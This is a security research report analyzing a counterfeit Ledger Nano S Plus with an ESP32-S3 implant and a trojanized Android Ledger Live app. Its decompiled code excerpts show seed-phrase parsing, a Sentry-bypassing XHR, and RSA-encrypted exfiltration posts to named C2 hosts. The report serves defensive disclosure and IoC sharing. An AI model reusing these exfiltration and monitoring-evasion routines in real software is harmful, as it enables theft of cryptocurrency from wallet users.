Supply Chain Attack Analysis: Counterfeit Ledger Nano S Plus with ESP32-S3 Implant

This document presents the complete technical analysis of a counterfeit Ledger Nano S Plus cryptocurrency hardware wallet obtained from a Chinese online marketplace. Internally, the device employs an Espressif ESP32-S3 general-purpose microcontroller in place of the genuine product's secure element (ST33J2M0) and microcontroller (STM32WB55), with chip markings physically removed to obscure identification. The counterfeit firmware stores the user's recovery mnemonic and PIN in plain text within the NVS flash partition, injects the secret material into the standard getVersion Application Protocol Data Unit (APDU) response, and operates in coordination with a trojanized Android application that parses, encrypts (RSA-2048), and exfiltrates the data to three distinct command-and-control (C2) servers.

The attack requires no anomalous network traffic from the hardware device itself: all communication travels through the standard USB/Bluetooth Low Energy (BLE) channel that the user already employs to pair the device with the companion mobile application. The complete C2 configuration (URL, RSA public key, campaign identifier) is delivered at runtime from the implanted firmware to the application, defeating static analysis of the mobile artifact in isolation.

The operation spans five confirmed distribution vectors - hardware, Android APK, Windows installer, macOS installer, and iOS via TestFlight - though the technical analysis contained in this report focuses exclusively on the Android APK, which was the artifact obtained and reverse-engineered by the research team. Public reporting has attributed US$ 9.5M+ in cryptocurrency losses across 50+ confirmed victims, with 20 blockchain ecosystems affected.

Attribution evidence is consistent with Chinese origin and includes a Shanghai-registered shell company acting as fulfillment layer, linguistic artifacts in the Metro bundle ("词语类型", comments in simplified Chinese), infrastructure hosted on Alibaba Cloud Hong Kong with Chinese DNS providers and Baidu Analytics identifiers, and co-hosting on the same /24 subnet as Chinese illegal-gambling operations.

The report consolidates 194,647 bytecode functions analyzed, 35+ malicious components decompiled and documented, 685 MB of Hermes disassembly output, and the full list of Indicators of Compromise suitable for ingestion into defensive pipelines.

Table of Contents

1. Executive Summary
2. Background
3. Acquisition and Initial Analysis
4. Hardware Teardown
5. Firmware Analysis
6. Malicious Application Analysis - Android APK
7. Additional Attack Vectors (Out of Scope for This Analysis)
8. Infrastructure Analysis
9. Attribution and Criminal Network
10. Attacker Forensic Evidence
11. Indicators of Compromise
12. Impact Assessment
13. Investigation Timeline
14. Complete Attack Flow Diagram
15. Remediation and Recommendations
16. Responsible Disclosure
17. About High Code Security Research
18. References

1. Executive Summary

1.1 Case Overview

A counterfeit unit visually indistinguishable from a Ledger Nano S Plus was obtained from JD.com, a mainland-Chinese e-commerce marketplace, as part of an ongoing High Code research effort on hardware supply-chain integrity. The unit failed the official ledger.com Genuine Check on first pairing with Ledger Live. A physical teardown revealed a substitution of the Ledger-specified secure element and microcontroller with a single Espressif ESP32-S3 general-purpose MCU, with chip markings mechanically removed. Flash memory extraction recovered two 24-word mnemonic seeds and a six-digit PIN stored in plain text. Reverse engineering of the companion Android application (com.ledger.live, v3.99.1) identified a six-phase attack chain culminating in RSA-encrypted exfiltration of the victim's recovery phrase to attacker-controlled infrastructure.

1.2 Key Findings

• Hardware: Generic ESP32-S3 replacing the genuine Ledger's certified Secure Element (ST33J2M0). The ESP32-S3 ships with its own hardware-security primitives (flash encryption, secure boot v2, HMAC / digital-signature peripherals, eFuse-based key storage), but the counterfeit firmware leaves all of them disabled - every secret sits in plain text in NVS flash.
• Firmware: Extends the standard GET_VERSION APDU response with eight hidden TLV-encoded fields including the victim's seed phrase, the RSA public key, and the exfiltration URL.
• Android APK: Signed with an Android debug certificate (android@android.com), not the Ledger SAS production certificate. Receives the injected fields via standard USB/BLE, encrypts the seed with RSA-2048, and posts to kkkhhhnnn.com.
• C2 Infrastructure: Three active servers - kkkhhhnnn.com (hardware C2, Cloudflare-fronted), s6s7smdxyzbsd7d7nsrx.icu (APK C2 #1, Alibaba Cloud Hong Kong), www.ysknfr.cn (APK C2 #2, co-hosted with a Chinese gambling network).
• Attribution: Fifteen independent indicators consistent with Chinese origin, including Simplified Chinese comments in the compiled bytecode, Shanghai-based fulfillment entity, and Baidu Analytics identifiers shared across infrastructure.
• Scale: Public reporting confirms US$ 9.5M+ in losses across 50+ victims spanning 20 blockchain ecosystems, via five distribution vectors (hardware, Android, Windows, macOS, iOS/TestFlight). This report analyzes only the hardware and Android vectors.

1.3 Severity Classification

Confirmed Criminal Operation - Critical Risk. The research team assesses this to be the most technically complete counterfeit Ledger case documented to date, with evidence of scaled production (PCB fabrication at commercial grade, firmware supporting 20 blockchains and 8 user-interface languages), multi-platform distribution, active maintenance (infrastructure updated eleven days before the analysis was conducted), and monetization linked to illegal gambling operations.

2. Background

2.1 Hardware Wallets and Threat Model

Cryptocurrency hardware wallets are single-purpose devices that generate and store the private keys associated with a user's blockchain addresses in a hardware-isolated secure element. Their security model rests on two assumptions: (i) the secret material never leaves the device in plain form, and (ii) the device itself is authentic and has not been tampered with between manufacture and first use. A compromise of the second assumption - the supply chain - reduces the first assumption to a polite fiction.

2.2 Supply Chain Attacks Against Hardware Wallets

Counterfeit Ledger devices are not novel. Previous cases have typically involved: resale of used or initialized devices; devices shipped with pre-generated seeds that the attacker retains; or visually similar units built on public reference designs but lacking secure element isolation. What distinguishes the case documented in this report is the completeness of the counterfeit system: a custom PCB with scraped markings, a firmware that impersonates the legitimate USB HID descriptor, a React Native companion application that mimics Ledger Live at the bundle level, and a three-tier C2 infrastructure with operational security hygiene suggesting an active, maintained development effort rather than a one-off fraud.

2.3 Why Chinese Marketplaces Matter

Mainland-Chinese marketplaces (JD.com, Taobao, AliExpress) are a recurrent distribution vector for counterfeit electronics, in part because of the density of manufacturing capacity in the Pearl River Delta and the relative difficulty of exporting enforcement action across jurisdictions. Ledger does not sell through JD.com. Any unit listed on that platform is, by definition, outside the sanctioned supply chain.

2.4 Significance

The unit analyzed here is, to the research team's knowledge, the most complete publicly-documented counterfeit hardware wallet system: it maps the full operation from PCB fabrication through mobile application implant to C2 infrastructure and linked monetization network. Prior cases have typically documented only one or two of these layers.

3. Acquisition and Initial Analysis

3.1 Sample Provenance

Retail packaging of the counterfeit unit, visually indistinguishable from a genuine Ledger Nano S Plus box.

3.2 First Contact - Genuine Check Failure

On 2026-03-19, the device was connected via USB to a clean Windows workstation running a verified installation of the official Ledger Live desktop application (downloaded directly from https://www.ledger.com). The device presented itself as a Nano S+ via USB HID. Upon invoking the Genuine Check routine - the cryptographic attestation procedure by which Ledger Live validates that a connected device holds a Ledger SAS-signed secure element certificate - the check failed.

A legitimate Nano S Plus passes Genuine Check on every pairing. Failure on an apparently new, sealed, retail-packaged device is the primary indicator of either tampering in transit or counterfeiting at the fabrication level.

Ledger Live surfaces the first Genuine Check rejection as an "invalid provider" warning when handshaking with the counterfeit firmware.

A second Ledger Live error: the secure-element flags payload returned by the device fails the envelope-length validation expected from a genuine unit.

3.3 Decision to Conduct Teardown

Given the Genuine Check failure on a retail-packaged unit from a marketplace outside Ledger's sanctioned supply chain, the research team elected to proceed with physical teardown and firmware extraction to determine the nature of the substitution.

3.4 Test Wallets Generated on the Counterfeit

Before opening the case, two test wallets were created on the device - PIN and two 24-word BIP39 mnemonics. The counterfeit firmware reuses open-source cryptocurrency libraries originally published by Trezor to generate mnemonics and derive addresses, so the wallet UX appears to function correctly across the 20 advertised blockchains. Seeding the device with known test material before flash extraction meant the recovered plaintext mnemonics could be compared byte-for-byte against what had been typed in (see §4.5).

3.5 Ruled-Out Hypotheses

After the flash dump was complete but before the distribution vector was understood, two natural exfiltration hypotheses were tested and eliminated:

Both hypotheses dead-ended. The actual distribution vector only became clear once the contents of the retail packaging were examined in detail - see §3.6.

3.6 The Actual Distribution Vector - QR Code on the "Start Here" Leaflet

The printed instruction leaflet bundled with the counterfeit carries a QR code that does not resolve to ledger.com.

The printed insert inside the counterfeit packaging carries a QR code on the "Comece Aqui" / "Start Here" instruction leaflet. The QR code does not resolve to ledger.com - it resolves to a cloned download site that serves fake Ledger Live installers across five platforms: Android (APK), Windows, macOS, and iOS via Apple TestFlight. The counterfeit hardware is the prop that sells the fraud; the companion application obtained through that QR code is where the seed phrase is exfiltrated.

The landing page reached by the QR code - a Tencent CloudBase clone offering Android, Windows, macOS, and iOS TestFlight builds of "Ledger Live".

The technical analysis that follows (§4 through §6) documents both sides of this dual layout: the hardware implant and the Android companion. The hardware stores seeds in plaintext flash (§4.5) and can inject them into the APDU protocol (§6.6) when connected to the counterfeit app; the app (§6) accepts those injected fields, encrypts them, and posts them to attacker infrastructure (§8). The primary channel by which victim seeds actually reach the adversary is the trojanized companion application, not anomalous radio traffic from the device itself.

4. Hardware Teardown

4.1 External Examination

Counterfeit (left) and genuine (right) Nano S Plus: case geometry, buttons, USB-C placement, and OLED cutout are indistinguishable.

The external casing, button geometry, USB-C receptacle, and OLED display form factor were indistinguishable from a genuine Nano S Plus under visual inspection. The printed copyright text reads (c) 2024 Ledger / (c) 2025 Ledger, matching the format used on recent genuine units.

4.2 Hardware Identification

USB descriptors reported by the counterfeit firmware spoof the genuine Ledger SAS vendor ID, product ID, and serial strings.

4.3 PCB Analysis

Device fully disassembled - both case halves and the bare PCB.

The counterfeit PCB is a green double-layer board. The USB-C receptacle (reference designator J26) is populated on the top side, with a visible YXC 40 MHz crystal and the primary MCU (scraped ESP32-S3) centrally located. Additional components include the SPI display connector (J3), two tactile switches (S2, S5) for user input, two test points (TP1, TP2), and fifteen SMD resistors and twenty-seven ceramic capacitors in supporting roles. The fabrication quality is consistent with a commercial-grade run rather than a one-off prototype, indicating production at scale.

PCB top side - the primary MCU (center), tactile switches, and surrounding passive components.

PCB bottom side - USB-C connector, 40 MHz crystal, flash IC, and test pads.

Same side with the SPI ribbon cable still attached to the OLED display module - an off-the-shelf panel, not a Ledger-specified assembly.

The PCB carries a serpentine Wi-Fi / BLE trace antenna - a red flag: a genuine air-gapped Ledger Nano S Plus ships with no radio silicon whatsoever.

Crystal oscillator marked 40.000 545PA YXC - Yangxing Tech, Shenzhen. Standard ESP32-S3 reference-design frequency.

4.4 Chip Identification - ESP32-S3 Under Scraped Markings

Both the main MCU and the IC occupying the "secure element" footprint have their top-side laser markings mechanically removed - a matte abraded finish inconsistent with factory packaging.

The main MCU on the counterfeit board has its silkscreen markings physically removed, producing a matte abraded finish inconsistent with factory packaging. Despite the surface modification, package geometry, pin count, and bootloader behavior (see §5.1) are consistent with the Espressif ESP32-S3 datasheet. The ESP32-S3 is a general-purpose IoT microcontroller with integrated 2.4 GHz Wi-Fi and BLE 5.0. It ships with several hardware-security primitives of its own (flash encryption, secure boot v2, HMAC and digital-signature peripherals, eFuse-based key storage), but it is not a certified Secure Element in the Common Criteria sense - it is a general-purpose SoC whose security features are optional, configurable by firmware, and in this counterfeit build left entirely disabled.

Direct overlay of the scraped chip against the Espressif ESP32-S3 datasheet - package geometry and pinout match the QFN-56 reference package.

Note: The genuine Ledger Nano S Plus uses a Common Criteria EAL5+ certified Secure Element (ST33J2M0) paired with a separate application MCU (STM32WB55). Replacing that split-MCU architecture with a single general-purpose SoC removes every hardware-enforced, externally-attested security property the original product advertises - regardless of which optional security features the ESP32-S3 would be capable of providing if they had been enabled.

4.5 Hardware Flash Dump and Extracted Material

Forcing the MCU into ROM download mode: bridging the EN and GPIO0 test pads enables esptool.py to read the full 4 MB flash over UART.

Flash contents were extracted via the ESP32-S3 boot ROM using esptool.py over the internal UART test points.

Analysis of the NVS (non-volatile storage) partition recovered the following keys in plain text, with no cryptographic protection whatsoever:

NVS partition dump. The six-digit PIN and the two BIP39 mnemonics are recoverable as raw ASCII - no wrapping, no encryption, no derivation. This is the single most damning artifact in the flash.

Finding: Plaintext storage of PIN and mnemonic in NVS flash is the strongest single indicator of counterfeit origin. No commercial hardware wallet stores this material unencrypted.

4.6 Firmware Binary

4.7 Supported Cryptocurrencies (20 chains)

The counterfeit firmware advertises support for the following blockchain ecosystems, matching the subset supported by the genuine Nano S Plus:

5. Firmware Analysis

5.1 Boot Sequence

On cold boot, the counterfeit firmware prints an ESP-IDF bootloader banner consistent with Espressif Systems' default Arduino-ESP32 build, followed by the application-level identification string Nano S+ 7704. The Espressif origin is observable both in the boot log and in the path artifact /Users/mac/.platformio/ embedded in the compiled ELF, confirming the build toolchain.

5.2 Storage Analysis - PIN and Mnemonics in Plain Text

See §4.5 for the complete NVS key table. The PIN (348962) and two attacker test mnemonics were recovered without any cryptographic handling. A genuine Ledger device - even hypothetically extracted - would yield only encrypted slots, with decryption dependent on the secure element's attestation key.

5.3 Hardware C2 Server

The firmware contains, in plaintext strings, the URL of the primary exfiltration endpoint:

The trilingual error response (Chinese / English / Indonesian) is itself an attribution signal (see §9.1).

5.4 Embedded RSA Public Key

A 2048-bit RSA public key is embedded in the firmware image. This key is transmitted to the companion Android application via the extended APDU response (see §6.5) and used to encrypt the victim's seed before exfiltration. The APK additionally carries a hardcoded fallback RSA key (MIIBIjANBgkqhki..., PKCS#8 DER Base64) used if the firmware-provided key fails to parse.

5.5 Firmware-Supplied C2 Configuration

The design choice to deliver the C2 URL, RSA public key, and campaign code from the firmware at runtime (rather than hardcode them into the mobile application) has a specific consequence: static analysis of the APK in isolation reveals no C2 infrastructure. The infrastructure is only observable when the APK is executed with the counterfeit device physically connected. This is a meaningful operational-security improvement over typical hardcoded-C2 malware.

6. Malicious Application Analysis - Android APK

6.1 Artifact Data

Finding: Signing with an Android debug certificate (android@android.com) rather than the official Ledger SAS production certificate is the single most immediate evidence that this APK is not official. Applications published through the Google Play Store are signed with verified corporate certificates whose subject-distinguished-name and public-key fingerprint do not match the Android SDK debug key.

6.2 APK Structure

6.3 Hermes Bytecode Structure

Binary layout:

BIP39 Wordlist Hardcoded: At line 5,650,752 of the disassembly, an array of 7,776 entries was recovered - the complete BIP39 English wordlist. Embedding the wordlist confirms the malware has first-class capability to operate on mnemonic phrases directly, and is not limited to opportunistic string interception.

6.4 Android Manifest - Permission Audit

The presence of CAMERA and RECORD_AUDIO in a cryptocurrency wallet application has no legitimate functional justification.

6.5 Attack Architecture - Six-Phase Chain

The trojanized Android application executes a six-phase exfiltration chain, plus a secondary metadata channel disguised as a firmware-update API:

1. APDU Injection (malicious firmware) - Firmware extends the getVersion APDU response with eight TLV-encoded hidden fields including the seed phrase, C2 URL, and RSA public key.
2. Malicious Field Parsing - parseGetVersionResponse() (Metro module 2109) extracts the eight extra fields from the APDU buffer and stores them in JavaScript closure slots.
3. App State Propagation - getDeviceInfo() logs all fields (including the seed) via mmdLog, then invokes verifyDeviceMnemonic().
4. Mnemonic Validation and Normalization - Word count validation (12 or 24), cache deduplication, input sanitization.
5. RSA Encryption and Exfiltration - Seed encrypted with RSA public key; POST to kkkhhhnnn.com. Fallback to hardcoded key on parse error.
6. Local Persistence (cache) - Mnemonic persisted to AsyncStorage and localStorage under the key ll_mnemonic_verifications to suppress re-exfiltration.

6.6 Phase 1 - APDU Injection

The legitimate GET_VERSION APDU command ([0xE0, 0x01, 0x00, 0x00], line 711471 of the disassembly) on a genuine Ledger device returns only version fields. The counterfeit firmware extends the response buffer with eight additional TLV-encoded fields, syntactically indistinguishable from the legitimate response to a sequential parser:

Critical finding: The trojanized application does not need any hardcoded C2 URL for the primary channel. The complete C2 configuration (URL, RSA key, campaign codes) is delivered from the device itself, substantially complicating static analysis of the APK in isolation.

6.7 Phase 2 - Malicious Field Parsing

Function parseGetVersionResponse (lines 711507-712188, Metro module 2109) receives the raw APDU response buffer and parses it sequentially, invoking two helpers: readLengthPrefixedBuffer (line 711543) and readExtendedString (line 712032).

// Conditional gate (lines 712062-712068)
if (!((r0 > r19)) { _fun19204_ip = 1538; continue }

// If extra bytes exist, extract all 8 malicious fields:

// Slot 6: verifyMnemonicBaseUrl (C2 URL)
r0 = function(a0) { _closure2_slot6 = a0; return undefined; };
r0 = readExtendedString(r0);

// Slot 10: verifyMnemonicRsaPublicKey
r0 = function(a0) { _closure2_slot10 = a0; return undefined; };
r0 = readExtendedString(r0);

// Slot 11: storedMnemonic - the seed phrase
r0 = function(a0) { _closure2_slot11 = a0; return undefined; };
r0 = readExtendedString(r0);

The returned object includes all legitimate GET_VERSION fields plus the eight malicious ones.

6.8 Phase 3 - App State Propagation

After parseGetVersionResponse returns, getDeviceInfo (lines 610148-610498) receives the object and emits two observable effects:

// Phase 3.1 - logs all details including the seed (lines 610339-610364)
mmdLog('getDeviceInfo resolved firmware details', {
    /* ... normal fields ... */
    verifyMnemonicBaseUrl: r9,
    verifyMnemonicRsaPublicKey: r5,
    storedMnemonic: r4              // seed logged in plain text
});

// Phase 3.2 - triggers exfiltration (lines 610446-610459)
r34 = module_2136.verifyDeviceMnemonic;
r3 = {
    storedMnemonic: r4,
    verifyMnemonicBaseUrl: r9,
    verifyMnemonicCode: r8,
    verifyMnemonicWallet: r7,
    verifyMnemonicCiyuType: r6,
    verifyMnemonicRsaPublicKey: r5
};
r34(r3);

6.9 Phase 4 - Mnemonic Validation and Normalization

Function _verifyDeviceMnemonic (lines 718912-719280, Metro module 2136) is an async generator orchestrating validation and exfiltration.

// Normalization
mnemonic = storedMnemonic.trim();
mnemonic = mnemonic.replace(/\s+/g, ' ');

// Word-count validation
words = mnemonic.split(' ');
validWordCounts = new Set([12, 24]);
if (!validWordCounts.has(words.length)) {
    mmdLog('device mnemonic verification skipped', {
        reason: 'unsupported_word_count'
    });
    return;
}

Input sanitization functions:

6.10 Phase 5 - RSA Encryption and Exfiltration

The submitMnemonic function resides in Metro module 9775. Its __d definition was not recovered in the decompilation of ledger_output_file.js, but string analysis of the compiled Hermes bytecode via strings recovered its contents:

strings index.android.bundle | grep -oP '.{0,100}kkkhhhnnn.{0,100}'

Reconstructed behavior of module 9775:

1. Receives payload: { mnemonic, baseUrl, code, wallet, ciyuType, rsaPublicKeyPem, useDefaultKey? }
2. if (useDefaultKey == true):
        → Uses hardcoded RSA key (MIIBIjANBgkqhki...)  // FALLBACK
   else:
        → Uses rsaPublicKeyPem from firmware
3. Encrypts mnemonic with RSA public key
4. POST https://kkkhhhnnn.com/api/open/postByToken
        Body: {
            mnemonic: "<RSA_ENCRYPTED_BASE64>",
            code:     "<CAMPAIGN_CODE>",
            wallet:   "<WALLET_ID>",
            ciyuType: "1" | "2"
        }
5. Returns server response

RSA fallback mechanism:

try {
    response = await submit();
} catch (error) {
    shouldRetry = /ASN\.1|PEM/i.test(error.message);   // line 719174
    if (shouldRetry) {
        mmdLog('device mnemonic verification invalid rsa key');
        response = await submitMnemonic({ ...payload, useDefaultKey: true });
    }
}

The existence of a hardcoded fallback key guarantees that exfiltration never fails completely even if the firmware-provided key is malformed.

6.11 Phase 6 - Local Persistence (Cache)

// In-memory cache - global variable __ledger_mnemonic_verification_cache__
function getMemoryCache() {
    var cache = global.__ledger_mnemonic_verification_cache__;
    if (!Array.isArray(cache)) {
        cache = [];
        global.__ledger_mnemonic_verification_cache__ = cache;
    }
    return cache;
}

// Persistent cache - AsyncStorage (native) + localStorage (web fallback)
async function readCachedMnemonics() {
    try {
        data = await asyncStorage.getItem('ll_mnemonic_verifications');
    } catch (e) {
        data = localStorage.getItem('ll_mnemonic_verifications');
    }
    return JSON.parse(data).filter(item => typeof item === 'string');
}

async function rememberMnemonic(mnemonic) {
    var cached = await readCachedMnemonics();
    if (!cached.includes(mnemonic)) {
        cached.push(mnemonic);
        await persistCachedMnemonics(cached);
    }
}

The storage key ll_mnemonic_verifications is chosen to resemble a legitimate Ledger Live verification feature.

6.12 Secondary Channel - Firmware Update API

In addition to the primary submitMnemonic channel, the application exfiltrates device metadata through a secondary channel disguised as a firmware-update query (fetchLatestFirmware, lines 615950-616136):

async function fetchLatestFirmware(deviceInfo) {
    var params = {
        salt:                             generateSalt(deviceInfo),
        current_se_firmware_final_version: deviceInfo.firmwareId,
        device_version:                    deviceInfo.deviceVersionId,
        version_name:                      deviceInfo.versionName,
        provider:                          deviceInfo.providerId,
        agentCode:                         deviceInfo.agentCode,      // = verifyMnemonicCode
        hardCode:                          deviceInfo.localDeviceName,
        local_version:                     deviceInfo.localFirmwareVersion
    };
    var url = firmwareApiBase + '/get_latest_firmware?' + queryString(params);
    return (await axios({ method: 'GET', url })).data;
}

The agentCode field is renamed at lines 700849-700856:

r9 = deviceInfo.verifyMnemonicCode;   // malicious field
r5['agentCode'] = r9;                  // renamed to look legitimate
r9 = deviceInfo.localDeviceName;
r5['hardCode'] = r9;

This channel does not transmit the mnemonic directly - that is handled by the primary channel - but exfiltrates metadata allowing the attacker to track compromised devices, correlate campaigns, and deliver updated malicious firmware as the get_latest_firmware response.

Request destination:

https://s6s7smdxyzbsd7d7nsrx.icu/api/hard/get_latest_firmware
    ?salt=X
    &agentCode=CAMPAIGN_CODE
    &hardCode=DEVICE_NAME
    &local_version=1.2.3
    & ...

6.13 Decompiled Malicious Components (35+)

A catalog of thirty-five-plus malicious bytecode functions was produced. Representative entries follow; the complete list is reproduced at the end of this section.

6.13.1 createStealthXhr - Sentry-bypass invisible XHR

Function #25064, 160 bytes, offset 0x023dc18a. Creates an XMLHttpRequest that bypasses Sentry monitoring via the __sentry_original__ backing property:

function createStealthXhr() {
    var XHR = globalThis.XMLHttpRequest;
    var xhr = new XHR();
    xhr.open = xhr.open.__sentry_original__ || xhr.open;
    xhr.send = xhr.send.__sentry_original__ || xhr.send;
    return xhr;
}

6.13.2 sendApdu - APDU command interception

Function #84531, 67 bytes. Routes all APDU commands through the XState state machine:

function sendApdu(apduHex, triggersDisconnection, abortTimeout) {
    return new Promise(function(resolve) {
        context.machineActor.send({
            type: 'SendApduCalled',
            apdu: apduHex,
            triggersDisconnection: !!triggersDisconnection,
            abortTimeout: abortTimeout,
            responseCallback: resolve
        });
    });
}

6.13.3 sendApduToDeviceConnection - Attacker typo fingerprint

Function #84523, 76 bytes. Contains the typo deviceAdpuSender (letters d and p transposed) instead of deviceApduSender. The typo is consistent across nine occurrences in two separate Metro modules (lines 3793984 and 6788184), serving as a behavioral fingerprint of the attacker's codebase.

// Line 3793983-3793984 - intentional aliasing with typo:
var sender = context.deviceApduSender;   // reads correct name
context.deviceAdpuSender = sender;        // writes typo'd name

6.13.4 uploadSendChunk - APDU chunk upload to C2

Function #111724. Sends APDU data chunks via transport with custom instruction byte INS 0x93. Injected into the legitimate Ledger firmware-update module alongside genuine functions such as sign, signRaw, getAllowlistPubKey, uploadAllowlist, serializePath.

async function* uploadSendChunk(transport, chunkType, data) {
    var response = yield transport.send(
        transport.cla, 0x93, 0, data, [0x9000]
    ).then(processErrorResponse);
}

6.13.5 pack_data - Exfiltration to tertiary C2

Function #127265 / #127266. Builds a URL disguised as a blockchain call and POSTs stolen data:

async function* packDataExfil() {
    var url = this.createURL(
        this.chain,
        .concat('/chains/', '/blocks/', '/helpers/scripts/pack_data')
    );
    var resp = yield httpBackend.createRequest({ url, method: 'POST' }, encodedData);
}

6.13.6 Complete component summary

6.14 APDU State Machine (XState)

The application implements a complete XState state machine as the central APDU-routing choke point. Every APDU exchanged with the device passes through it.

State machine events:

Session initialization:

function initDeviceSession(config, transport) {
    ctx.deviceId = config.deviceId;
    ctx.deviceAdpuSender = config.deviceAdpuSender; // typo'd
    ctx.timeoutDuration = config.timeoutDuration;
    ctx.machineActor = createActor(stateMachine, {
        sendApduFn, startReconnectionTimeout, cancelReconnectionTimeout,
        tryToReconnect, onTerminated: config.onTerminated, closeConnection
    });
}

Full attack flow via the state machine:

6.15 Exfiltration Mechanism

Exfiltrated data (estimated per compromise):

Data-encoding functions:

Network interceptors:

6.16 Internal Logging System (mmdLog)

The malware ships its own logging facility (module 2133) used extensively for internal debugging. The implementation is trivial: function mmdLog(message, data) { log('mmdlog', message, data); }.

The mmdlog prefix appears to be an internal namespace of the attacker's development team.

7. Additional Attack Vectors (Out of Scope for This Analysis)

Public reporting has established that the counterfeit-Ledger operation is distributed across five platforms:

1. Counterfeit hardware - covered in §4 and §5 of this report.
2. Android APK (com.ledger.live) - covered in §6 of this report.
3. Windows installer - referenced in press coverage; technical artifact not analyzed by the High Code research team at the time of this publication.
4. macOS installer - referenced in press coverage; technical artifact not analyzed by the High Code research team at the time of this publication.
5. iOS via Apple TestFlight - distributed through Apple's beta-testing channel, bypassing the standard App Store review process. Technical artifact not analyzed by the High Code research team at the time of this publication.

This report documents in depth only the hardware implant and the Android application. The Windows, macOS, and iOS/TestFlight vectors are acknowledged for completeness but are outside the scope of the technical analysis presented here. The research team has not obtained forensic copies of those installers at the time of publication and makes no technical claims about their implementation beyond what is verifiable in the public record.

8. Infrastructure Analysis

8.1 C2 Infrastructure Overview

8.2 Primary C2 - kkkhhhnnn.com (Hardware)

8.3 Secondary C2 - s6s7smdxyzbsd7d7nsrx.icu (APK C2 #1)

Line 630359 of the APK disassembly shows the malicious domain hardcoded in config, alongside the legitimate domain for juxtaposition:

// Line 630359 - malicious domain hardcoded
r7 = {
    'def': 'https://s6s7smdxyzbsd7d7nsrx.icu/api/hard',
    'parser': null,
    'desc': 'Custom firmware update proxy base; clear to fallback to MANAGER_API_BASE'
};
r9['FIRMWARE_UPDATE_API_BASE'] = r7;

// Line 630536 - legitimate domain (unmodified)
r7 = { 'def': 'https://manager.api.live.ledger.com/api', ... };
r9['MANAGER_API_BASE'] = r7;

The string FIRMWARE_UPDATE_PROXY_ENABLED carries the comment "固件代理调试，避免误用第三方域名" (Simplified Chinese, translating to "Firmware-proxy debug; avoid misuse of third-party domain names") - an attacker's internal comment left inadvertently in the compiled bytecode.

8.4 Tertiary C2 - www.ysknfr.cn (APK C2 #2)

Both APK C2 servers share the same DNS provider (julydns.com), a strong signal that they are administered by the same organization. C2 #2 redirects to a gambling server on the same /24 subnet (156.239.121.224 → .247), indicating that the cryptocurrency-theft operation is financially entangled with illegal online-gambling activity.

8.5 Distribution Website

8.6 Shanghai-Based Shell Entity

Public reporting identifies a Shanghai-registered shell company acting as fulfillment layer for a subset of the counterfeit-hardware distribution. Corporate registration details and business-license identifiers are withheld from this release pending legal review. Further detail will be published in a coordinated update should the responsible investigators authorize disclosure.

9. Attribution and Criminal Network

9.1 Chinese-Origin Indicators (15 evidences)

9.2 Linguistic Indicators

9.3 Attacker's TRON Wallet

9.4 Russian URL Shortener (Mercuryo)

The bytecode contains a reference to a Russian URL shortener (https://inlnk.ru/84PnYo) used as the icon URI for the Mercuryo cryptocurrency-exchange widget embedded in the counterfeit application. This may indicate a minor operational entanglement with Russian-language services for obfuscation rather than attribution of the primary actor.

9.5 Sophistication Assessment

• High sophistication. Three-front attack (hardware + companion app + distribution site), extended APDU protocol, RSA-2048 encryption in transit, retry mechanism with fallback key, deduplicated persistent cache, XState-based state machine, Sentry bypass via original-function recovery, background exfiltration via HeadlessJsTask.
• Active development. The richness of the internal logging system (mmdLog) is consistent with ongoing iterative development rather than a one-off fraud.
• Operational-security awareness. C2 configuration sourced from firmware (not hardcoded in the APK), RSA encryption in transit, variable names that mimic legitimate Ledger Live functionality.
• Production scale. Professional PCB fabrication, chip markings removed, firmware supporting 20 blockchains and 8 interface languages, Shanghai-based fulfillment.
• Team size. The presence of explicit debug strings (profanity, Navy-Seal copypasta as test-token names) and consistent typos (deviceAdpuSender) is consistent with a solo senior developer or a small team working rapidly, rather than a large organized-crime unit with quality-assurance discipline.

10. Attacker Forensic Evidence

10.1 Debug Strings with Explicit Language

These strings are behavioral fingerprints consistent with rapid development discipline and were inadvertently retained in the compiled bytecode.

10.2 Typo 'deviceAdpuSender' - Signature

The attacker consistently wrote deviceAdpuSender (letters d and p transposed) instead of deviceApduSender. Nine occurrences across two separate modules:

10.3 Code Sharing - Same Bytecode Offset

Two distinct functions, setupConnection (#84534) and uploadSendChunk (#111724), share the same bytecode offset (0xc02162892). Both are 30-byte wrappers using the apply() pattern, suggesting they were authored by the same developer from a shared template.

10.4 Attacker Test Tokens

10.5 Social Engineering - Seed-Buying Front

A hardcoded string reads WILLBUYSEEDatGmailcomDoublePrice, indicating that the attacker also operates a secondary social-engineering scheme offering to purchase seed phrases from victims at "double price". The associated TRON token is BYSD (ID 1000825) at address TMWUs3PiSDkEXuXRwQi9ixoURH8vBSbioQ - the same wallet identified in §9.3.

10.6 APDU Cleaning Command

ConnectManager issues a cleaning command 0xe0500000 before starting a session, accompanied by the debug string 'Sending cleaning 0xe0500000'. This suggests the device state is cleared before interception begins.

11. Indicators of Compromise

11.1 File Hashes (SHA-256)

11.2 Domains and URLs

11.3 Wallets and Tokens

11.4 Hardware

11.5 Certificates and DNS

11.6 Code Signatures

11.7 Storage Keys

11.8 Malicious Function and Field Names

11.9 Malicious Metro Modules

12. Impact Assessment

The following figures are drawn from public reporting and represent cumulative impact of the operation across all five distribution vectors (hardware, Android, Windows, macOS, iOS/TestFlight) - not limited to the hardware and Android vectors technically analyzed in this report.

The US$ 9.5M figure is a lower bound based on on-chain correlation published in press coverage between the dates of 2026-04-14 and 2026-04-18. The true impact is plausibly higher, given: (i) unreported losses, (ii) victims in jurisdictions without public-disclosure culture, and (iii) ongoing infrastructure activity at the time of this report's publication.

13. Investigation Timeline

The timeline combines adversary archaeology reconstructed from compilation timestamps, domain registrations, and TLS certificate issuance with the investigation timeline itself, all dates confirmed as of publication.

14. Complete Attack Flow Diagram

Figure 1 - End-to-end attack flow. All traffic flows over the standard USB/BLE channel the user already employs to pair the device - no anomalous network traffic originates on the hardware itself. The full C2 configuration (URL, RSA public key, campaign code) is delivered from the counterfeit firmware via the extended APDU response.

15. Remediation and Recommendations

15.1 For End Users - Critical Priority

If the trojanized APK was installed on a device with a genuine Ledger connected: consider all keys compromised. Move funds immediately to a new wallet, with a new seed, generated on a legitimate Ledger device sourced directly from ledger.com.

If the counterfeit hardware was used: every mnemonic entered into the device must be presumed exfiltrated. Move funds immediately. The counterfeit cannot be "reset" or "sanitized" - it was never trustworthy.

Pre-purchase verification:

1. Buy only from the official Ledger store at https://www.ledger.com or from authorized resellers listed on that site.
2. Reject marketplace listings for Ledger products. No Ledger product legitimately ships through JD.com, Taobao, AliExpress, or any Chinese marketplace.
